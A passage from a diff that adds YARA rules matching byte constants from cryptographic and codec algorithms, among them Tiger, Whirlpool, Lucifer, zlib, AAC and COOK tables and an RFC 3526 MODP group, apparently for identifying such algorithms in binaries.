decfdaa335d176f43e871fb46d438129022ce949ad4b84769ad965bd86282f3d05566fb976715b80b4e1d5b47a04cfde06fc28ec4b857e8726e647a78fc99865d44608bd5936c200e0339dc5ff65d0b00a3ae63aff27e8bd63270108c0cbbd350492998df04980cf42a9b6df4919e7edd530691854858cb7e073b74ef2e522fffb1d24708cc1c7e27cda4eb215b3cf1d2e219b47a38424f7618358560399d17dee727eb35e6c9aff67b36baf5b809c467cdc18910b1e11dbf7b06cd1af87170c6082d5e3354d4de495a64c6d006bcc0c62c3dd00db3708f8f3477d51b42264f620f24b8d2bf15c1b79e46a52564f8d7e54e3e3781607895cda5859c15a5e6459788c37bc75fdb07ba0c0676a3ab7f229b1e31842e7b24259fd7f8bef472835ffcb86df4c1f296f5b195fd0af0fcb0fe134ce2506d3d4f9b12eaf215f225a223736f9fb4c42825d0497934c713f8c4618187ea7a6e987cd16efc1436876cf1544107bedeee1456e9af27a04aa4413cf7c89992ecbae6dd67016d151682eba842eedffdba60b4f1907b7520e3030f24d8c29ee139673befa63fb871873054b6f2cf3b9f326442cb15a4ccb01a4504f1e47d8d844a1be5bae7dfdc42cbda70cd7dae0a57e85b7ad53f5af620cf4d8ccea4d42879d130a43486ebfb33d3cddc77853b5337effcb5c5068778e580b3e64e68b8f4c5c8b37e0d809ea2398feb7c132a4f9443b7950e2fee7d1c223613bddd06caa237df932bc4248289acf3ebc35715f6b7ef3478ddf267616fc148cbe49052815e5e410fabb48a24652eda7fa4e87b40e4e98ea0845889e9e1efd390fcdd07d35bdb48569438d7e5b257720101730edebc5b64311394917e4f503c2fba646f12827523d24ae0779695f9c17a8f7a5b2121d187b89629263a4dba510cdf81f47c9fad1163edea7b59651a00726e1140309200da6d774a0cdd61ad1f4603605bdfb09eedc36422ebe6a8cee7d28aa0e736a05564a6b910853209c7eb8f372de705ca8951570fdf09822bbd691a6caa12e4f287451c0fe0f6a27a3ada48194cf1764f0d771c2b67cdb156350d83845938fa0f42399ef336997b070e84093d4aa93e618360d87b1fa98b0c1149382ce97625a50614d1b70e25244b0c768347589e8d820d2059d1a466bb1ef8da0a8204f19130ba6e4ec0992651641ee7230d50b2ad80eaee68018db2a283 }
+
+condition:
+	$a0
+}
+
+	
+rule Zlib_base_length__32_big_116_
+{
+strings:
+	$a0 = { 0000000000000001000000020000000300000004000000050000000600000007000000080000000a0000000c0000000e0000001000000014000000180000001c000000200000002800000030000000380000004000000050000000600000007000000080000000a0000000c0000000e000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_COOK_envelope_quant_index_huffbits__8_byt_312_
+{
+strings:
+	$a0 = { 0406050504040404040403030304050708090b0b0c0c0c0c0a0806050504030303030303040507090b0c0d0f0f0f10100c0a0806050404040404040303030404050507090b0d0e0e0d0a0909070705050403030303030404040507090b0d0d0d0c0d0a0806060505040403030303030405050607090b0e0e0c0b0908080705040403030303030404050507080a0d0e0e0f100f0c0a08060504030303020304050507090b0d1010100e0e0b0a090707050504030302030304050709090c0e0f0f090909080706050403030303030304050607080a0b0c0d0d0e0c0a08060605040303030303030405060808090b0e0e0e0d0a0908060605040404030302030405060809090b0c0e0e100d0c0b0906050504040403020303040507080a0e1010100d0e0e0e0a0807070504030302030304050507090b0e0e0e }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_ff_aac_scalefactor_code__32_big_484_
+{
+strings:
+	$a0 = { 0003ffe80003ffe60003ffe70003ffe50007fff50007fff10007ffed0007fff60007ffee0007ffef0007fff00007fffc0007fffd0007ffff0007fffe0007fff70007fff80007fffb0007fff90003ffe40007fffa0003ffe30001ffef0001fff00000fff50001ffee0000fff20000fff30000fff40000fff100007ff600007ff700003ff900003ff500003ff700003ff300003ff600003ff200001ff700001ff500000ff900000ff700000ff6000007f900000ff4000007f8000003f9000003f7000003f5000001f8000001f7000000fa000000f8000000f6000000790000003a000000380000001a0000000b00000004000000000000000a0000000c0000001b000000390000003b000000780000007a000000f7000000f9000001f6000001f9000003f4000003f6000003f8000007f5000007f4000007f6000007f700000ff500000ff800001ff400001ff600001ff800003ff800003ff40000fff000007ff40000fff600007ff50003ffe20007ffd90007ffda0007ffdb0007ffdc0007ffdd0007ffde0007ffd80007ffd20007ffd30007ffd40007ffd50007ffd60007fff20007ffdf0007ffe70007ffe80007ffe90007ffea0007ffeb0007ffe60007ffe00007ffe10007ffe20007ffe30007ffe40007ffe50007ffd70007ffec0007fff40007fff3 }
+
+condition:
+	$a0
+}
+
+	
+rule Tiger__64_big_8192_
+{
+strings:
+	$a0 = { 02aab17cf7e90c5eac424b03e243a8ec72cd5be30dd5fcd36d019b93f6f97f3acd9978ffd21f91937573a1c9708029e2b164326b922a83c346883eee04915870eaace3057103ece6c54169b808a3535c4ce754918ddec47c0aa2f4dfdc0df40c10b76f18a74dbefac6ccb6235ad1ab6a13726121572fe2ff1a488c6f199d921e4bc9f9f4da0007ca26f5e6f6e85241c7859079dbea5947b64f1885c5c99e8c92d78e761ea96f864b8e36428c52b5c17d69cf6827373063c1b607c93d9bb4c56e7d820e760e76b5ea645c9cc6f07fdc42bf38a078243342e05f6b343c9d2e7d04f2c28aeb600b0ec66c0ed85f7254bcac71592281a4db4fe51967fa69ce0fed9ffd5293f8b96545dbc879e9d7f2a7600b860248920193194ea4f9533b2d9cc0b39053836c15957613db6dcf8afc357bf118beea7a7a370f57037117ca50b990666ab30a9774424a35f4e92f02e325249b7739db07061ccae1d8f3b49ceca42a05bd56be3f51382f7345faed5843b0bb281c813d5c11bf1f838af0e4b6d75fa16933ee18a487ad99993c26e8eab1c94410b510102bc0a822f9141eef310ce6123bfc65b90059ddb154e0158640c5e0e607884e079826c3a3cf930d0d9523c535fd35638d754e9a2b004085fccf40469dd5c4b17ad28be23a4ccab2f0fc6a3e6a2e2860971a6b943fcd3dde6ee212e304466222f32ae01765ae5d550bb5478308fea9efa98da0eda22ac351a71686c40da71105586d9c867c84dcffee85fda22853ccfbd0262c5eef76baf294cb8990d201e69464f52afad97594b013afdf133e1406a7d1a32823c9586f95fe5130f61119d92ab34e462c06c0ed7bde33887c71d279746d6e6518393e5ba419385d7133297c1ba6b948a9756431987c197bfdac67de6c23c44b053d02581c49fed002d64ddd474d6338261571aa4546c3e473d062928fce349455f86048161bbacaab94d963912430770e6f686ec8a5e602c6641c87282515337ddd2b2cda6b42034b701bb03d37c181cb096de108438266c71c6f2b3180c7eb51b255df92b82f96c08bbc5c68c8c0a632f3ba5504cc861c3d0556abbfa4e55fb26b8f41848b0ab3baceb4b334a273aa445d32bca696f0a85ad88124f6ec65b528d56c0ce1512e90f4524a4e9dd79d5506d35a258905fac6ce97792019295b3e109b33f8a9478b73a054cc2924f2f934417eb03993357d536d1bc438a81ac21db6ff8b47c4fbf17d6016bf1e0faadd7667e3f57abcff62938beb96a78dad948fc179c98f1f98b72911e50d61e48eae27121a914d62f7ad31859808eceba345ef5ceaebf5ceb25ebc9684cef633e20cb7f76221a32cdf06ab8293e4985a202ca5ee2ca4cf0b8447cc8a8fb19f765244979859a3a8d516b1a12400170bd7ba3ebb5dc726e54bca55b86adb391d7a3afd6c478063519ec608e7669edd0e5715a2d149aa23177d4571848ff194eeb55f3241014c220f5e5ca13a6e2ec28029927b75f5c361ad139fabc3d6e4360d5df1a94ccf402f3e8bd948bea5dfc8a5a0d357bd3ff77ea2d12e251f74f64566fd9e525e81a0822e0c90ce7f687a49c2e8bcbeba973bc5000001bce509745f423777bbe6dab3d6d1661c7eaef06eb5a1781f354daacfd82d11284a2b16affcf1fc4f67fa891d1f73ecc25dcb920adaae610c22c2a1265196e0a810d356b78a5a9a381f2fe7870fd5ad62ede94e5530d225e5e8368d142765977b70c7af463199f889b2de39d74f233f30bf54e1d1439a9675d3d9a63c975470554ff334f9a8166acb744a4f568870c74caab2e4aeadf0d091646f294d1257b82a89684031d1efd95a5a61be0b6b2fbd12e969f2f29a9bd37013feff9fe83f9b0404d6085a064940c1f3166cfe1509542c4dcdf3defbb4c5218385cd5ce3c935b7dc4462a6413417f8a68ed3b63fb80959295b215b40f99cdaef3b8c8572018c0614f8fcb95d1b14accd1a3acdf384d471f200bb732dc1a3110e95e8da16430a7220bf1a82b8b77e090d39df210e5ef4bd9f3cd05e9d9d4ff6da7e57a444da1d60e183d4a5f8b287c38417998e47fe3edc121bb31886c7fe3ccc980ccbefe46fb590189bfd033732fd469a4c57dc7ef700a07cf1ad6559c64468a31d8859762fb0b4d45b61f6155baed09904771868755e4c3d50baa6e9214e7f22d8b4df2addbf532eac95f432ae3909b4bd0109834df537b08e3450fa209da84220728d9e691d9b9efe23f70446d288c4ae8d7f7b4cc524e169785b21d87f0135ca1385cebb400f137b8aa5272e2b66580796be3612264125c2b0de057702bdad1efbb2d4babb8eacf84be991583139641bc67b8bdc2de08036e024603c8156f49f68edf7d236f7dbef51119727c4598ad21e80a08a0896670a5fd7cb4a8f4309eba9cb81af564b0f7036a1c0b99aa778199abd959f1ec83fc8e9528c505077794a81b93acaaf8f056338f007b43f50627a67784a44ab49f5eccc773bc3d6e4b679ee989cc0d4d1cf14108c4406c00b206bc8a082a18854c8d72d8967e366b35c3c432cb923dd61102b37f256ab2779d884271dbe83e1b0ff1525affb7c65d4217e49a96bdbe0e76d48e7d408df828745d9179e22ea6a9add53bd34e36e141c5622200a7f805d1b8cb750eeafe5c7a59f58e837e27f996a4fb1c23cd3867dfb0775f0d0d0e673de6e88891a123aeb9eafb86c2530f1d5d5c145b895bb434a2dee7269e778cb67ecf931fa38f33b0372323bbf9c52d66336fb279c74505f33ac0afb4eaae8a5cd99a2cce187534974801e2d30bb8d2d5711d5876d901f1a412891bc038ed6e2e71d82e5664874036c3a497732b789b67ed96361f5abffed95d8f1ea02a2e72b3bd61464d43da6300f170bdc4820ebc18760ed78a77ae6a6be5a05a12138b5a122a5b4f87c98563c6089140b69904c46cb2e391f5dd5d932addbc9b7943408ea70e42015aff5d765a6673e478cf1c4fb757eab278d99df11c6862d6e0692ddeb84f10d7f3b166f2ef604a665ea044a8e0f0ff0e0dfb3a5edeef83dbcba51fc4f0a2a0ea4371ee83e1da85cb38429dc8ff882ba1b1ce2cd45505e8353e80d18d19a00d4db071734a0cfeda5f381010be77e518887caf21e341438b3c45136e05797f49089ccf9ffd23f9df2591d14543dda228595c5cd661f81fd99052a338736e641db0f7b7615227725418e5307e25f7f46162eb2fa48a8b2126c13d9feafdc541792e76eea03d912bfc6d1898f31b1aafa1b83f51bf1ac2796e42ab7d940a3a7d7fcd2ebac1056136d0afbbcc57889e1dd9a6d0c85d33525782a7974aaa7e25d09078ac09bbd4138b3eac6edd0920abfbe71eb9e70a2a5d0f54fc2625cc054e36b0b1290a3f6dd59ff62fe932b3537354511a8ac7dca845e9172fadcd484f82b60329d20dc79c62ce1cd672f188b09a2add124642cd0c1e96a19d9e7265a786a9b4ba9500c0e020336634c43f3c17b474aeb66d8226a731ae3ec9baac28226667ae084025867d4567691caeca51d94155c4875adb56d00fd985b813fdf51286efcb774cd065e8834471fa744aff72ca0aee761ae2ebe40e4cdaee8e09ae9970bbb5118f665726e4beb33df1964703b0007291997624631d816f5ef30a7b880b5b51504a6be641793c37ed84b6c7b21ed77f6e97d96776306312ef96b73ae528948e86ff3f453dbd7f286a3f8f816cadce74cfc1063005c19bdfa52c6dd68868f5d64d46ad33a9d512ccf1e186a367e62c2385660aee359e7ea77dcb1d7526c0773749abe6e735ae5f9d09f734b493fc7cc8a558ba8b0b9c1533041ab45321958ba470a59bd852db00b5f46c39391209b2bd336b0e56e604f7d659ef19fb99a8ae2782ccb24ccf52ab6c814c4c74727d9afbe11727b7e950d0c0121b34d756f435670ad471ff5add442615a68494e87e09980b9957a2acfa1df50aee355d898263afd2fd556c8f4924dd80c8fd6cf99ca3d754a173afe477bacaf91bf3ced5371f6d690c12d831a5c285e687094c5d3c90a3708a0a40f7f903717d0658019f9bb13b8fdf27fb1bd6f1b4d5028431c761ba38fff40120d1530c4e2e21f3b8943ce69a7372c8ae5184e11feb5ce66618bdb80bd7366217d29bad68b574d0b81bb613e25e6fe5b071c9c10bc07913fc7beeb7909ac2d97c3e58d353bc5d757eb017892f38f61e8d4effb9c9b1cc21a99727d26f494f7aba3e063a2956b3e039d4a8b9a4aa09c303f6ab7d500090fb49cc0f2a057268ac03dee9d2dedbf42d1330f49c87960a972c6b2720287421b410ac59ec07c00369cef4eac49cb353425f450244eef0129d88acc46e5caf4deb62ffeab63989263f78f7cb9fe5d7a45785bd8f7644e634635427a7315bf2dc90017d0c4aa2125261c3992486c93518e50b4cbfee0a2d7d4c37c75d6202c5ddd8ddbc295d8e35b6c6160b369d302032b19ce42685fdce4413206f3ddb9ddf656108ea4d21db5e148f020b0fce62fcd496f2c1b912358b0ee31b28317b818f5a308a89c1e189ca6d2cf0c6b18576aaadbc8b65deaa91299fae3fb2b794b7f1027e704e4317f443b5beb4b852d325939d0a6d5ae6beefb207ffc309682b281c7d374bae309a194c3b4758cc3f97b13b49f0598a9422ff8293967244b16b01076ff7cf8bf571c663d67ee1f0d6758eee30da1c9b611d97adeb9b7b7afd5887b6c57a26290ae846b984fe194df4cdeacc1a5fd058a5bd1c5483aff63166cc142ba3c378db8526eb2f76f40e10880036f0d6d4e9e0523c9971d311d45ec2824cc7cd691575b8359e62382c9fa9e400dc4889995d1823ecb45721568dafd983b8206082faa7d29082386a8cb269fcd4403b875881b91f5f728bdd1e0e4669f39040201f67a1d7c218cf04ade65623c29d79ce5ce2368449096c00bb1ab9bf1879da503babc23ecb1a458058e9a58df01bb401ecca070e868a85f143d4ff188307df2239e14d565b41a641183ee13337452701602950e3dcf3f285e0959930254b9c809533bf299408930da6da955943f53691387a15edecaa9cb878429142127352be9a076f0371fff4e7afb0239f450274f2228bb073af01d5e868bbfc80571c10e96c1d267088568222e239671a3d48e80b5b055b5d38ae193bb81693ae2d0a18b04b85c48b4ecadd5335ffd743b194916a1ca2577018134be98c4e77987e83c54a4ad28e11014da33e1b9270cc59e226aa21371495f756d1a5f609be853fb60afef77adc786a7f7443dbf0904456173b29a8258bc7a66c232bd5ef306558c673ac8b241f639c6b6c9772a216defe99fda35da11640cc71c7be61593c43694565c5527ea038e6246777839f9abf3ce5a3e2469741e768d0fd312d20144b883ced652c6c20b5a5ba33f85521ae69633c3435a9d97a28ca4088cfdec8824a43c1e96f42037612fa66eeea7466b4cb165f9cf0e5a43aa1c06a0abfb4a7f4dc26ff162796b6cbacc8e54ed9b0fa6b7ffefd2bb253e2e25bc95b0a29d4f86d6a58bdef1388cded74ac576b6f0548030bdbc2b45805d3c81af70e94d92893eff6dda9e3100dbb38dc39fdfcc8847123885528d17b87ef2da0ed240b1b64244cefadcd54bf9a91312200e433c7ee69ffcc84f3a78c748f0cd1f72248576bbec6974053638cfe42ba7b67c0cec4e4cac2f4df3e5ce32edcb33d14326ea4c11a4e9044cc77e58bc5f513293d934fcef5dc9645506e5544450de418f317de40a388cb31a69dde2592db4a83455820a869010a91e84711ae94df7f0b7b1498371d62a2eabc097717922fac097aa8d5c0ef49fcc2ff1daf39b487fd5c66ff29281e8a30667fcdca83f2c9b4be3d2fcce63da3ff74b93fbbbc22fa165d2fe70ba66a103e279970e93d4becdec77b0e45e71cfb41e723985e497b70aaa025ef75017d42309f03840b8e08efc1ad03589857996c6920be2b2abc566af4163375a91722174abdcca7127fbb33ccea64a72ff41f04a4933083066a58d970acdd7289af58f96e8e031c8c25ef3fec02276875d47ec7bf310056190ddf5adb0aebb0f14919b50f8850fd588924975488358b74de8a3354ff691531c610702bbe481d2c6ee89fb24057deded98ac3075138596e9021d2d3580172772edeb738fc28e6bc30d5854ef8f630443269e5c52325add3bbe90aa53cf325c4623c1d24d51349dd0672051cfeea69ea62413220f0a862e7e4fce39399404e04864d9c42ca47086fcb7685ad2238a03e7cc066484b2ab2ff1dbfe9d5d70efbf79ec5b13b9dd9c48185415f0d475ed1509ad0bebcd060ec79851d58c6791183ab7f8d1187c5052f3eee4c95d1192e54e82ff86eea14cb9ac6ca23485beb153677d5ddd191d781f8c492af60866baa784ebf9518f643ba2d08c748852e956e1087c22a768cb8dc410ae8d38047726bfec8e1aa67738b4cd3b45aaad16691cec0dde19c6d4319380462e07c5a5876d0ba6193816b9fa1fa58fd840188ab1173ca74f18abda2f98c99c021f3e0580ab134ae8165f3b05b773645abb2501a2be5575f2f61b2f74004e7e8ba91cd7580371e8d9537f6ed89562764e30b15926ff596f003d9f65293da8c5d6b96ecef04dd690f84c4782275fff33af88e41433083f820801fd0dfe409a1af9b54325a3342cdb396b8ae77e62b301b252c36f9e9f6655615a85455a2d92d32c09f2c7dea94947748563cfb4c133a39eba83b040cc6ebc54623b9454c8fdb326b056f56a9e87ffd78c2dc2940d99f42bc698f7df096b096e2d19a6e01e3ad852bf42a99ccbdbd4b40ba59998af45e9c559366295e807d931866b48181bfaa1f7731fec57e2157a0a1d4667446af6201ad5e615ebcacfb0f075b8f31f4f6829077822713ed6ce22d11e3057c1a72ec3c93bcb46acc37c3f1f2fdbb893fd02aaf50e331fd92e600b9fcfa498f96148ea3ad6a8d8426e8b6a83eaa089b274b7735cdc87f6b3731e524a11118808e5cbc967499906e4c7b19bd394afed7f7e9b24a20c6509eadeeb3644a76c1ef1d3e8ef0edeb9c97d43e9798fb4a2f2d784740c28a37b8496476197566f7a5be3e6b65f069df96330ed78be6f10eee60de77a076a152b4bee4aa08b9bd06a56a63ec7b8894e02121359ba34fef44cbf99f8283703fc398071350caf30c8d0a77a89f017687af1c1a9eb9e4235698c7976282dee81995d1737a5dd1f7abd4f53433c09a9fa80fa8b0c53df7ca1d93fd9dcbc886ccb77c040917ca91b47207dd00142f9d1dcdf8476fc1d4f387b5823f8e7c5f3316503032a2244e7e373395c87a5d750f5a74b082b4cc43698992edf917becb858f63c3270b8fc5bf86dda10ae72bb29b5dd76576ac94e7700362b1ad112dac61efb8f691bc30ec5faa427ff246311cc3271433142368e30e5320671380e31e02ca396958d5c960aad76f1f8d6f430c16da536c8ffd13f1be7e1d27578ae66004ddbe105833f01067be646bb34b5ad3bfe586d095f34c9a12b97f0247ab64525d60ca8dcdbc6f3017477d14a2e14d4decad24dbdb5e6d9be0a1eeb2a7e70f7794301abdef42d8a270540fd01078ec0a34c22c1e5de511af4c163877ebb3a52bd9a330a77697857aa7d6435004e831603ae4c32e7a21020ad78e3129d41a70c6ab420f228e06c18ea1141e6d2b28cbd984f6b2826b75f6c446e9d83ba47568c4d418d7fd80badbfe6183d8e0e206d7f5f166044e258a43911cbca3e723a1746b21dc0bcc7caa854f5d7cdd37cac32883d261d9c7690c26423ba942c17e55524478042b8e0be477656a2389f4d289b5e67ab2da044862b9c8fbbfd31b47cc8049d141365822c1b362b91c7934eb14655fb13dfd81ecbba0714e2a97b6143459d5cde5f1453a8fbf1d5f0ac8997ea04d81c5e5b00622181a8d4fdb3f3e9bcd341572a12081411258643cce58a9144c5fea4c6e0a40d33d06565cf620f54a48d489f219ca1c43e5eac6d63c821a9728b3a72770dafd7934e7b20df87efe35503b61a3e86e5cae321fbc819d504129a50b3ac60bfa6cd5e68ea7e9fb6c3b01c90199483b1c73de93cd5c295376caed52edf2ab9ad132e60f512c0a07884bc3d86a3e36210c935269d9b163951ce0c7d6e2ad0cdb5fa59e86297d87f5733298ef221898db0e755000029d1a5aa7e8bc08ae1b5061b45c2c31c2b6c92703a94cc596baf25ef420a1d73db2254045604b6a0f9d9c4179aeffdafa2ae3d3c60f7c8075bb49496c49cc5c7141d1cd4e378bd1638218e5534b2f11568f850246aedfabcfa9502bc29796ce5f2da23051baae128b0dc93537c3a493da0ee4b29aeb5df6b2c416895d7fcabbd25122d7f3770810b58105dc4b1e10fdd37f7882a90524dcab5518a3f5c3c9e85878451255b4029828119bd34e274a05b6f5d3ceccbb610021542e13eca0ff979d12f59e2ac6037da27e4f9cc505e92975a0df1847dd66de190d3e623fe5032d6b87b5680489a36b7ce8235216e80272a7a24f64b4a93efed8b8c6916f737ddbff44cce15554b95db5d4b99bd2592d3fda169812fc0fb1a4a9a90660bb6730c196946a4b9b281e289aa7f49da6864669a0f83b1a05f27b3ff7d9644f48bcc6b615c8db675b3674f20b9bcebbe956f312382756559825ae488713e45cf05bf619f9954c21157eabac46040a8eae9454c6fe9f2c0c1cd419cf6496412691cd3dc3bef265b0f706d0e60f5c3578a9e5b0e608526323c551a46c1a9fa1b59f5a9e245a17c4c8ffa65ca5159db2955d705db0a76ce35afc281eac77ea9113d45528ef88ab6ac0a0da09ea253597be3ff430ddfb3ac48cd56c4b3a67af45ce46f4ececfd8fbe2d05e3ef56f10b39935f00b22d6829cd619c617fd460a74df20696cf8cc8e8510ed40d6c824bf3a6ecaa761243d581a817049048bacb6bbc163a2d9a38ac27d44cc327fddff5baaf410abad6d495aa804824be1a6a74f2d8c9f94d4f7851235dee8e3fd4b7f886540d893247c20042aa4bfda096ea1c517d1327cd56966b4361a6685277da5c31221057d94d59893a43acff764f0c51ccdc022813d33bcc4ff6189dbe005cb184ce66af1ff5ccd1d1db99beab0b854a7fe42980f7bd46a6a718d4b9fd10fa8cc22a5fd8cd31484952be4bd31c7fa975fcb2438474886ed1e5846c40728cddb791eb70b04c2b00be2f573417f5c9590452180f8777a6bddfff370eb00ce509e38d6d9d6a4ebeb0f00647fa7021dcc06cf76606f06e4d9f28ba286ff0ad85a305dc918c262475b1d8732225f542d4fb51668ccb5fea679b9d9d72bba2053841c0d912d43a53b7eaa48bf12a4e8781e0e47f22f1ddfeff20ce60ab5097320d261d19dffb74216a12b03062a2e391960eb2239650495251c16fed50eb8b89ac0c330f826016eed152665953e767102d63194a63695705074f08394b1c98770ba598c90b25ce1794a15810b9742f60d5925e9fcaf8c6c3067716cd868744e910ab077e8d7731b6a61bbdb5ac42f6193513efbf0851567f494724b9e83e9d5e887e1985c09648d34b1d3c675370cfddc35e433bc0d255dd0aab84234131be008042a50b48b7eaf9997c4ee44a3ab35829a7b49201799d0263b8307b7c54441752f95f4fd6a6ca6927217402c08c6e52a8ab754a795d9eea442f7552f72943d2c31334e197812084fa98d7ceaee629155c3862f665db309bd0610175d53b1f346fe6cb840413f273fe03792df0cfa59cfe700372eb85e8fa7be29e7adbce118e544ee5cde8431dd8a781b1b41f1873ea5c94c78a0d2f0e739412e2877b60728a1265ef3afc9a62cbcc2770c6a2506c53ab66dd5dce1ce12e65499d04a675b377d8f523481bfd2160f6f64fcec15f38974efbe618b5b13c8acdc82b714273e1ddd40bfe003199d1737e99257e7e061f8fa52626904775aaa8bbbf63a463d56f9f0013f1543a26e64a8307e9f879ec898cc4c27a4150177cc1b432f2cca1d3348de1d1f8f9f6fa013606602a047a7ddd6d237ab64cc1cb2c79b938e7225fcd1d3ec4e03708e0ff476feb2fbda3d03c12dae0bced2ee43889a22cb8923ebfb4f4369360d013cf7396d855e3602d2d4e022073805bad01f784c33e17a133852f546df4874058ac7b638ba92b29c678aa14a0ce89fc76cfaadcd5f9d4e0908339e34f1afe9291f5923b96e3480f60f4a265feebf3a2ab29b841ce21938a88f91b4ad57dfeff845c6d3c32f006b0bf62caaf262f479ef6f75ee7811a55ad41c8916a9f229d29084fed45342f1c27b16b000e62b1f76749823c0744b76eca3c27453608c98f463b91691bd14bcc93cf1ade66a8885213e6d4583978e177df0274d4711b49b73b5503f295110168168c3f96b6b0e3d963b63cab0ae8dfc4b5655a1db14f789f1356e14de5c683e68af4e51dac1c9a84f9d8d4b0fd93691e03f52a0f9d15ed86e46e1878e803c711a0e99d071505a0865b20c4e931056fbfc1fe4f0682eea8d5de3105edf9b71abfdb12379187a2eb99de1bee77b9c21ecc0ea33cf452359a4d7521805c7a13896f5eb56ae7c72aa638f3db18f75dc9f39358dabe9808eb7defa91c00b72ac6b5541fd62492d926dc6dee8f92e4d5b353f57abc4beea7e735769d6da5690ce0a234aa642391484f6f9508028f80d9db8e319a27ab3f21531ad9c1151341a4d773c22a57bef580545c7561a07968633f913da9e249dbe36da652d9b78a64c684c27a97f3bc334ef76621220e66b17f4967743899acd7d0bf3ee5bcae0ed6782409f753600c879fc06d09a39b5926db66f83aeb0317ac58801e6ca4a86381f2166ff3462d19f302572207c24ddfd3bfb4af6b6d3e2ece2eb9c994dbec7ea08de49ace597b09a8bc4b38c4766cf0797ba131b9373c57c2a75b1822cce61931e589d7555b909ba1c0c127fafdd937d11d229da3badc66d92e4a2c1d57154c2ecbc58c5134d82f6fe241c3ae3515b62274fe907c82e01cb8126f8ed091913e37fcb3249d8f9c80046c980cf9bede388fb631881539a116cf19e5103f3f76bd5245715b7e6f5ae47f7a8dbd7c6ded47e9ccf44e55c410228bb1ab647d4255edb4e995d11882bb8aafc30f5098bbb29d3212a8fb5ea14e90296b3677b942157dd025afb58e7c0a390acb589d3674c83bd4a019e2da4df4bf3b93bfcc41e328cab482903f38c96ba582c52cad1bdbd7fd85db2bbb442c16082ae83b95fe86ba5da9ab0b22e04673771a93f845358c9493152d8be2a488697b4541e95a2dc2dd38e6966c02c11ac923c852b2388b1990df2a87b7c8008fa1b4f37be1f70d0c84d54e5035490adec7ece57d4002b3c27d9063a3a7eaea3848030a2bfc602326ded2003c083a7287d69a94086c57a5fcb30f57a8ab56844e479ebe779a373b40f05dcbce9d71a786e88570ee2879cbacdbde8f6a0976ad1bcc164a32fab21e25e9666d78b901063aae5e5c33c9818b34448698d90e36487ae3e1e8abbafbdf931893bdcb46345a0dc5fbbd5198628fe269b9465ca1e5d01603f9c51ec4de44006a15049b7bf6c70e5f776cbb1411218f2ef552bedcb0c0708705a36a3e74d14754f986044cd56d9430ea8280ec12591d7535f5065c83223f1720aef96c3a0396f7363a51f }
+
+condition:
+	$a0
+}
+
+	
+rule Lucifer__outerbridge__TCB1__8_byt_256_
+{
+strings:
+	$a0 = { 57dfcfd3d75fdb43c3c7cb4b5b474f53159d8d91951d99018185890919050d1175fdedf1f57df961e1e5e96979656d7136beaeb2b63eba22a2a6aa2a3a262e32179f8f93971f9b0383878b0b1b070f1337bfafb3b73fbb23a3a7ab2b3b272f33149c8c90941c98008084880818040c1054dcccd0d45cd840c0c4c84858444c5074fcecf0f47cf860e0e4e86878646c7076feeef2f67efa62e2e6ea6a7a666e72169e8e92961e9a0282868a0a1a060e1235bdadb1b53db921a1a5a92939252d3155ddcdd1d55dd941c1c5c94959454d5177ffeff3f77ffb63e3e7eb6b7b676f7334bcacb0b43cb820a0a4a82838242c3056deced2d65eda42c2c6ca4a5a464e52 }
+
+condition:
+	$a0
+}
+
+	
+rule libfaad2_pan_pow_2_30_neg__flt64___64_lil_320_
+{
+strings:
+	$a0 = { 000000000000f03f000000000000f03f000000000000f03f000000000000f03f000000000000f03f1acac3219fe0ef3f1acac3219fe0ef3f1e77f6075dc1ef3f1e77f6075dc1ef3fbf066d075dc1ef3f1e77f6075dc1ef3f1e77f6075dc1ef3faa7702ab3483ef3f2531312b4e64ef3f2531312b4e64ef3f95e2109539a2ef3faa7702ab3483ef3ff15a9ff88545ef3f928ad304e2e9ee3f1bd748dd91cbee3faa7702ab3483ef3ff15a9ff88545ef3f928ad304e2e9ee3f8267454b5371ee3fa3720943c135ee3f2531312b4e64ef3f1facf7025008ef3f8267454b5371ee3ffab943b839dded3ff02ea59bb585ed3ff15a9ff88545ef3fa0dd596f5fadee3fc06272429ffaed3f75527632ec4bed3fb0349aa361bdec3f1facf7025008ef3f31615af27d53ee3ff02ea59bb585ed3fb0349aa361bdec3f12eb73065dfaeb3f }
+
+condition:
+	$a0
+}
+
+	
+rule Whirlpool_rc__64_big_88_
+{
+strings:
+	$a0 = { 00000000000000001823c6e887b8014f36a6d2f5796f915260bc9b8ea30c7b351de0d7c22e4bfe57157737e59ff04ada58c9290ab1a06b85bd5d10f4cb3e0567e427418ba77d95d8fbee7c66dd17479eca2dbf07ad5a8333 }
+
+condition:
+	$a0
+}
+
+	
+rule PPMZ2_counts__32_big_1024_
+{
+strings:
+	$a0 = { 0000001700000000000000000000000000000000000000000000000000000000000000030000003b0000018d00000000000000000000000d000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001a00000000000000000000000000000000000008c90000001700000027000000050000001100000025000000010000004100000041000000390000000f00000010000000920000006c000000d30000000b0000003a000000410000002700000019000000150000001500000015000000140000001800000017000000290000003a0000000a0000001100000010000000080000000a000000270000001600000022000000180000001a000000120000000c0000001b000000390000000c0000000e000000140000001b00000016000000120000001d000000020000001800000021000000340000000f000000060000000c000000060000000500000001000000250000002d0000000800000001000000070000000300000316000000a20000015100000185000004f9000000ee000000ca000001f1000002d80000000d00000049000001aa00000116000002e3000002f6000000f20000001000000271000002aa0000037f0000013800000066000000b30000002f000000b20000001000000005000000030000000500000011000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule _6144_bit_MODP_Group__from_RFC3526__Section_6__8_byt_768_
+{
+strings:
